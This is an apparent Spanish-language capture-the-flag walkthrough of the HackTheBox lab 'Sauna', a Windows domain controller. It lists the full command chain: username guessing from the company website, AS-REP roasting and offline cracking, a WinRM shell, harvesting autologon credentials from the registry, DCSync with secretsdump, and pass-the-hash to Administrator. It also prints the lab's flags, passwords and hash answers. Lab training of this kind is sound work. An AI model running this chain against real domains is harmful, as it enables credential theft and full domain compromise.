En esta guía
Resumen del recorrido (contiene spoilers)
DC + web (puerto 80)
web → usernames
fsmith → Thestrokes23
registro → svc_loanmgr
directo → PtH → root
Entorno y versiones documentadas
- Kali Linux y VirtualBox: versiones no especificadas en la guía original.
- Objetivo: Windows Server 2019.
Las versiones indicadas provienen del texto original. La fecha de edición identifica la revisión de esta página; no implica que se haya repetido el laboratorio.
01 · RECONOCIMIENTO
Ver solución paso a paso
nmap -p- --min-rate 1000 -oA nmap/allports 10.129.62.219
nmap -sCV -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -oA nmap/detail 10.129.62.219ttl=127 sugiere Windows (pista, se confirma con el fingerprint). La huella de AD conocida de Forest (Kerberos 88, LDAP 389/636, SMB 445, DNS 53, WinRM 5985) confirma un Domain Controller. El -sCV revela el dominio: EGOTISTICAL-BANK.LOCAL, host SAUNA, Windows Server 2019.
Mapea el dominio en /etc/hosts para que Kerberos resuelva el nombre (habitual en labs):
sudo sh -c 'echo "10.129.62.219 EGOTISTICAL-BANK.LOCAL sauna.egotistical-bank.local SAUNA" >> /etc/hosts'02 · USUARIOS DESDE LA WEB
Ver solución paso a paso
El SMB anónimo no da usuarios
netexec smb 10.129.62.219 -u '' -p '' --users
# conecta (Null Auth:True) pero NO devuelve usuarios (a diferencia de Forest)Sin lista de usuarios no hay AS-REP Roasting. Hay que conseguirla de otra fuente, y una web corporativa suele listar a su gente.
Nombres de empleados en la web
Navegando el sitio (http://10.129.62.219), la página about.html tiene una sección "Meet The Team" con seis empleados: Fergus Smith, Hugo Bear, Steven Kerb, Shaun Coins, Bowie Taylor, Sophie Driver. (Incluso hay un chiste en el HTML: "so many bank account managers but only one security manager".)
▚ De nombres a nombres de usuario
Sabes que existe "Fergus Smith", pero no su username en el dominio. Las empresas siguen una convención (fsmith, fergus.smith, fergussmith, smithf...), pero no sabes cuál. La táctica: generar todas las variantes probables y probar cuáles existen de verdad contra Kerberos.
Generar y probar candidatos
Crea un users.txt con las variantes de cada nombre y pásalo a GetNPUsers. Este comando tiene doble propósito: descarta los usuarios que no existen (KDC_ERR_C_PRINCIPAL_UNKNOWN) y, si alguno existe y es AS-REP roasteable, suelta el hash.
impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ -no-pass -usersfile users.txt
# de todos los candidatos, solo fsmith existe... y suelta un $krb5asrep$Resultado: la convención del dominio es primera letra + apellido (fsmith), y ese usuario tiene la pre-autenticación de Kerberos desactivada. Doble premio.
03 · AS-REP ROASTING
Ver solución paso a paso
Recordatorio del concepto (ver Forest): una cuenta sin pre-autenticación de Kerberos entrega información cifrada derivada de su contraseña sin que te autentiques. Se captura y se crackea offline.
impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ -no-pass -usersfile users.txt | grep '\$krb5asrep\$' > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt # -> Thestrokes23Credenciales conseguidas por la vía web: fsmith / Thestrokes23.
04 · FOOTHOLD · WINRM
Ver solución paso a paso
netexec smb 10.129.62.219 -u fsmith -p Thestrokes23 # [+] válidas
netexec winrm 10.129.62.219 -u fsmith -p Thestrokes23 # (Pwn3d!) = entra por WinRM
evil-winrm -i 10.129.62.219 -u fsmith -p Thestrokes23# dentro de la shell:
type C:\Users\FSmith\Desktop\user.txt # user flag05 · AUTOLOGON EN EL REGISTRO
Ver solución paso a paso
▚ ¿Qué es el autologon y por qué filtra credenciales?
A veces un Windows se configura para iniciar sesión automáticamente al arrancar, sin pedir contraseña. Cuando eso pasa, las credenciales del usuario quedan guardadas en el registro, a veces en texto claro. Es una de las primeras cosas que revisar tras conseguir shell en un Windows.
Consultar el registro (Winlogon)
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
# DefaultUserName -> EGOTISTICALBANK\svc_loanmanager
# DefaultPassword -> Moneymakestheworldgoround!Segundo par de credenciales, por una vía nueva. El prefijo svc_ delata una cuenta de servicio, como svc-alfresco en Forest.
svc_loanmanager, pero la cuenta que autentica de verdad en el dominio es svc_loanmgr (el nombre está abreviado en el sistema). Si una variante no valida, prueba la otra. Se confirma con netexec smb ... -u svc_loanmgr -p 'Moneymakestheworldgoround!'.06 · DCSYNC + PASS-THE-HASH
Ver solución paso a paso
▚ DCSync directo
En Forest hubo que concederse el DCSync abusando de una cadena de ACLs (Account Operators, GenericAll, WriteDacl). En Sauna, svc_loanmgr ya tiene de fábrica los derechos de replicación sobre el dominio (BloodHound los muestra como GetChanges y GetChangesAll). Así que el DCSync es directo: no hay pasos intermedios.
Volcar los hashes del dominio
impacket-secretsdump egotistical-bank.local/svc_loanmgr:'Moneymakestheworldgoround!'@10.129.62.219El rpc_s_access_denied inicial es el mismo aviso inofensivo de Forest. Debajo, vuelca todos los hashes. La línea que importa (RID 500 = Administrator):
Administrator:500:aad3b435...:823452073d75b9d1cf70ebdf86c7f98e:::Pass-the-Hash como Administrator
Sin crackear nada: te autenticas con el hash NTLM directo (-H en vez de -p).
evil-winrm -i 10.129.62.219 -u Administrator -H 823452073d75b9d1cf70ebdf86c7f98e
type C:\Users\Administrator\Desktop\root.txt # root flagAcceso como Administrator documentado. DCSync no demuestra por sí solo membresía en Domain Admins.
TASKS · GUIDED MODE
Mostrar respuestas del laboratorio
Desplaza la tabla horizontalmente. Con teclado, enfócala y usa las flechas ← →.
| Task | Respuesta |
|---|---|
| HTML que revela los nombres de los empleados | about.html |
| Usuario con la pre-autenticación de Kerberos deshabilitada | fsmith |
| Formato del hash AS-REP (del 1er al 3er $, incluidos) | $krb5asrep$23$ |
| Contraseña del usuario fsmith | Thestrokes23 |
| Puerto para conectarse y obtener una shell interactiva | 5985 (WinRM) |
| Usuario configurado para autologin | svc_loanmanager |
| Contraseña del usuario svc_loanmanager | Moneymakestheworldgoround! |
| Permiso peligroso sobre el dominio (el más largo) | GetChangesAll |
| Nombre del ataque para autenticarse con el hash | Pass the Hash |
| User flag (escritorio de fsmith) | f77a8d06c229a1a80f78d23e9d41f77a |
| Root flag (escritorio de Administrator) | 6014ff7af65ef38cf8d0a4a20e3bae9b |
MISMO DESTINO, OTRO CAMINO
Desplaza la tabla horizontalmente. Con teclado, enfócala y usa las flechas ← →.
| Fase | Forest | Sauna |
|---|---|---|
| Lista de usuarios | SMB anónimo | Web → nombres → usernames |
| Entrada | AS-REP a svc-alfresco | AS-REP a fsmith (username deducido) |
| 2ª credencial | (no hubo) | Autologon en el registro |
| Acceso a DCSync | Cadena de ACLs → concederse DCSync | DCSync directo (permiso de fábrica) |
| Final | Pass-the-Hash | Pass-the-Hash |
GENERAL principio transferible a otras máquinas. LAB heurística o convención de laboratorio (HTB), no una regla universal.
- GENERALUsuarios desde la web: si el SMB anónimo no da usuarios, los nombres de empleados de la web + una convención (
fsmith) se validan contra Kerberos conGetNPUsers. - GENERALAutologon en el registro: tras conseguir shell en Windows, revisa
HKLM\...\WinlogonporDefaultPassworden texto claro. - GENERALDCSync directo: una cuenta con
GetChanges/GetChangesAllvuelca todos los hashes sin cadenas de ACLs previas. - GENERALEl nombre del registro puede no ser el real:
svc_loanmanager(registro) vssvc_loanmgr(cuenta). Prueba variantes. - GENERALReforzado de Forest: AS-REP Roasting, cracking offline con john, WinRM con evil-winrm, DCSync con secretsdump, Pass-the-Hash con
-H.